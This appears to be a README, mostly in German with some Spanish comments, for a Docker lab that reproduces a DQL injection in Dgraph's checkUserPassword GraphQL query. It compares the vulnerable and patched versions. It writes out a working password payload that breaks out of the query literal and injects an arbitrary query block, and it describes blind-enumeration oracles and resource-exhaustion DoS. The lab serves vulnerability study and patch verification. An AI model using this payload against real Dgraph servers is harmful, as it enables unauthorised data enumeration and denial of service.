
Docker-Lab zur Reproduktion von CVE-2026-44840, einer DQL-Injection in Dgraphs checkUserPassword GraphQL-Abfrage, mit Exploit-Skript und Vergleich zwischen verwundbarer und gepatchter Version.
checkUserPassword (GraphQL)Docker-Labor, das eine echte Injection in Dgraph reproduziert:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4Echte CVE aus 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · zugewiesen an Kai Aizen (GHSA-q2m9-6jp9-c6mc,GO-2026-5837). Nur für isolierte und autorisierte Lab-Umgebung.
checkUserPassword ist die GraphQL-Query, die Dgraph automatisch für das Schema von
Typen mit der Direktive generiert. In
(≤ v25.3.3) wurde das Passwort mit konkateniert:
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
Das Passwort des Angreifers wird wörtlich in das DQL eingefügt:
pwd as checkpwd(User.password, "<password del atacante>")
Der Fix (v25.3.4, Commit cee702c) parametrisiert den Wert:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
Startet zwei Cluster Dgraph (zero+alpha): v25.3.3 und v25.3.4.
Lädt das Schema type User @secret(field: "password") hoch und erstellt admin, alice, bob.
Sendet an checkUserPassword ein Passwort, das aus dem DQL-Literal ausbricht und einen beliebigen
Query-Block anhängt:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
In v25.3.3 wird der Block injected { ... } geparst und server-side ausgeführt.
| Test | v25.3.3 (verwundbar) | v25.3.4 (gepatcht) |
|---|---|---|
| Login mit korrektem Passwort | OK (touched_uids 7) | OK (touched_uids 7) |
| Login mit falschem Passwort | null (5) | null (5) |
injiziertes Passwort )} injected{...} # | wird ausgeführt: touched_uids 14 | neutralisiert: 5 |
Orakel: eq(User.name,"bob") injiziert | touched_uids 7 (existiert) | 5 |
Orakel: eq(User.name,"nobody") injiziert | 5 (existiert nicht) | 5 |
Log von dgraph alpha | zeigt das DQL mit dem Block injected | parametrisiertes DQL, ohne Block |
Auswirkung der CVE: Ausführung von beliebigem DQL server-side → blinde Enumeration von Daten
(über touched_uids/Timing), Schema-Discovery (has(), eq()) und DoS durch Ressourcenverbrauch
durch Injizieren teurer Traversierungen (expand(_all_), Rekursionen).
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| Dienst | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
Offensiver operativer Leitfaden (Reconnaissance, Exploitation Schritt für Schritt, Payloads, Evidenz
und OPSEC): REDTEAM.md.
Das Passwort wird als GraphQL-Variable übertragen; der Wert, der den Rewriter erreicht, wird nicht escaped und
in checkpwd(User.password, "...") eingefügt. Der Payload:
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
Das # verhindert, dass das Suffix des Templates (das schließende " von checkpwd) das Parsing bricht.
dgraph v25.3.4+ aktualisieren.vars von dgoapi.Request), niemals
Input mit fmt.Sprintf interpolieren.